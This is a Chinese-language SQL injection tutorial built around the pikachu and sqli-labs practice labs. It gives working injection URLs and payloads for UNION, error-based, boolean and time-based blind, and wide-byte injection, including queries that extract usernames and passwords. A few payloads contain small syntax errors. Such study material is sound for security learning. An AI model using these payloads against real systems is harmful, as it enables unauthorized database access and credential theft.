一、什么是SQL 注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。(个人理解就是程序员写程序的时候,前端输入的数据没有做限制,导致黑客可以通过改变前端输入的变量从而改变sql语句来获取数据库的机密信息)
二、判断是否存在注入点(涉及靶场:pikachu、sqliabs)
1、and 判断方法
http://192.168.1.6:8080/sqli/Less-2/?id=1 and 1=1--+
?id=1 and 1=1页面正常
http://192.168.1.6:8080/sqli/Less-2/?id=1 and 1=2--+
?id=1 and 1=2,页面错误
2.or 判断方法
http://192.168.1.6:8080/sqli/Less-2/?id=-1 or 1=2--+
?id=-1 or 1=2,页面错误
http://192.168.1.6:8080/sqli/Less-2/?id=1 or 1=2--+
?id=1 or 1=2,页面正常
三、注入分类
1. 数字型注入
2. 字符型注入
3. 搜索型(like)注入
4. 其他型注入
(1)?Id=1’) and 1=1 --+
(2)?id=1) and 1=1 --+
(3)?id=1”) and 1=1 --+
四、提交方式注入
1. GET 提交
参数在地址栏提交
2. POST 提交
参数在请求体提交
3. Cookie提交
各种语言获取Cookie方式:
Asp:request.cookie(),request()
Php:$_COOKIE(),$_REQUEST
JAVA:request.getCookies()
五、注入攻击方式
1. UNION 注入
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。(union 和oder by经常连用 ),一般先使用order by 爆破数据库字段数。
先猜4个字段,报错
再猜3个字段,页面正常,显示存在三个字段
union查询,http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,2,3--+,让id=-1’报错,union后面语句爆出的数字能显示数据库信息
http://192.168.1.6:8080/sqli/Less-1/?id=-1%27%20union%20select%201,group_concat(version(),user()),database()--+,爆出数据库相关信息
以MySQL为例,MySQL 5.0以上自带一个information_schema库,里面存储你新建的数据库的库名、表名、列名。通过巧妙的利用这个库,我们能获取到数据库里面的相关信息。(group_concat()函数可以将要查询的字段拼接成字符串)
获取当前用户下的所有数据库名:http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
以pikachu数据库为例,我们获取它的所有表名:
http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'--+
以users表为例,我们获取它的列名:
通过用户名和密码获取相关信息:
http://192.168.1.6:8080/sqli/Less-1/?id=-1' union select 1,username,password from users where id=2--+
2. 函数报错注入和insert、update、delete注入
有时候使用union和order by进行sql注入时,数据不能回显到前端页面(前提是后台代码没有屏蔽sql的报错),insert、update、delete可以和updatexml()、extractvalue()、floor()配合进行报错注入。
(1)updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
concat:返回结果为连接参数产生的字符串。
注入语句:?id=1 and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)--+
(2)extractvalue(XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
注入语句:?id=1 and extractvalue(null,concat(0x7e,(select @@datadir),0x7e))--+
(3)Floor(rand(0)*2)
注入语句:?Id=1 union select count(*) from table_name group by floor(rand(0)*2);
解释:floor(rand(0)*2)的作用就是产生预知的数字序列01101,然后再利用 rand() 的特殊性和group by的虚拟表,最终引起了报错。
参考来源:https://www.cnblogs.com/sfriend/p/11365999.html
Insert是sql插入语句,update是update更新语句,delete是sql删除语句。这是三个语句可以结合updatexml()、extractvalue()、floor(rand(0)*2)这三个报错函数使用。
可以通过burp抓包,构造payload。
格式如下:(updatexml()可以替换extractvalue())
a’ or updatexml(1,(concat(0x7e,(命令)),0) or ‘
显示表名
a' or updatexml(1,(concat(0x7e,(select table_name from information.schema.tables where table_schema=”pikachu” limit 0,1)),0) or ‘
显示列名
a' or updatexml(1,(concat(0x7e,(select column_name from information.schema.columns where table_name=”users” limit 2,1)),0) or ‘
显示字段名
a' or updatexml(1,(concat(0x7e,(select username,password from users limit 0,1)),0) or ‘
3. 盲注
条件:前端无法显示报错信息,页面错误跳转到同一个页面和404页面
盲注经常需要几个函数的配合使用:
ascii() 函数:返回ascii码中对应的值
length()函数:返回字符串的长度
left(str,num)函数 : 从左截取指定字符串
substr(str,pos,num) 函数:截取指定位置指定长度的字符串
mid(str,pos,num) 函数 :截取指定位置指定长度的字符串
If(expr1,expr2,expr3)函数:expr1成立,执行expr2;expr1不成立,执行expr3。
sleep()函数:执行select sleep(N)可以让此语句运行N秒钟
(1)基于布尔型注入
有些查询是不返回结果的,如果要判断查询语句是否正确执行,可以查看函数执行返回的布尔值,正常显示为true(1),报错或是其他不正常显示为false(0)。
例如:ascii(substr((select table_name information_schema.tables where tables_schema
=database()limit 0,1),1,1))=101 --+
# 这查询语句解释: 从 information_schema.tables 中查询当前数据库中第一个表的表名的第一位字符串是否 ‘e’(注ascii(e)的ascii码刚好是101),正确返回布尔值1或正常页面,错误返回布尔值0或者返回错误页面。
(2)基于时间型注入—延时注入
对于不能返回结果的,可以使用if函数和sleep()函数的配合,如果是执行成功的就延时一定时间再返回信息,如果不能执行成功就立即返回信息。
例如:If(ascii(substr(database(),1,1))=115,sleep(5),null)--+
#语句解释:获取数据库名称的第一位字符串的ascii码是否115,如果是就延时5秒,不是就不做任何操作。
小结:布尔盲注和时间盲注主要考验一些函数的配合使用并且构造相应payload。手工一位一位的获取字符串是费劲。在知道原理前提下我们可以通过使用一些工具来辅助(burp suit ,sqlmap等)。
参考来源:https://www.cnblogs.com/startingpoint-fly/p/11158011.html
https://zhuanlan.zhihu.com/p/87374920
4. 宽字节注入和二次注入
php.ini 文件中有个magic_quotes_gpc是用来设置GPC($_GET、$_POST、$_COOKIE)的魔术引用状态(在PHP4中也包含$_ENV)。当开启时,所有的单引号,双引号,反斜线和NUL's会被反斜线自动转义。(php高版本放弃这种方式,php5版本存在此方法)
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。在过滤 ’ 的时候,利用的思路是将 ‘ 转换为 \’。
如果遇到magic_quotes_gpc开启,我可以通过宽字节注入和二次注入的方式来突破魔术方法的干扰。
(1)宽字节注入(在单引号前面加个%df【注:‘ 的url编码是%27】)
当构造payload时我们把单号替换为%df%27,首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠),之后在数据库查询之前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了宽字符“運”,即%df%5c%27 = 縗’。这样我们就可以绕过magic_quotes_gpc的干扰了。
(2)二次注入
使用条件:
1.用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
2.数据库对自己存储的数据非常放心,直接取出恶意数据给用户
参考来源:https://www.jianshu.com/p/3fe7904683ac
注:本文章仅供学习参考。